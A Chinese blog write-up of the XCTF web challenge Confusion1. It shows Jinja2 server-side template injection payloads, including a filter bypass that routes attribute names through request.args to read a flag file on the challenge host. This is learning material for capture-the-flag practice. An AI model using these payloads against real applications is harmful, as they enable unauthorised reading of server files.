攻防世界web进阶区 Confusion1 之request.args.key

又是一道新知识点的题收获很大,现在刷的webctf题都是要依靠大佬的wp,唉,还是太菜了。

刚进页面就蒙蔽了,什么都不知道。扫了一下目录和git 没有任何线索。。

看了下师傅们的WP。

点进去index。php  可以看到报错, 看到url 

 url的信息会在页面上看到,猜测是ssTI 注入  具体可以看:SSTI注入查看下源

 FLAG文件显示出位置

一般来说  SSTI的注入payload都是

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

但是发现 

 

被屏蔽了, 用url_for 试试, 这个函数可以理解为config (不知道理解对不对

http://111.200.241.244:62326/register.php/{{url_for.__globals__}}

 发现还是不行,又看了下别人的wp

用的是request.args. key   构造payload  (这里的key 可以是内置函数

http://111.200.241.244:62326/{{''[request.args.a]}}?a=__class__

 

 发现有回显,还可以这样玩我是没想到的,学到了学到了~

那么我们就可以把 request.arg. key 中的key 换成我们想要定义的内置函数  如:

http://111.200.241.244:62326/register.php/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

 相当于 把request.arg中的a  定义成了__class__  以此类推。能过绕过无法回显的情况,从而读取我们想要的内容。 新姿势又学到了

总结:

  • 考察模板注入
  • payload的其他构造方法

SSTI注入 基础总结

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值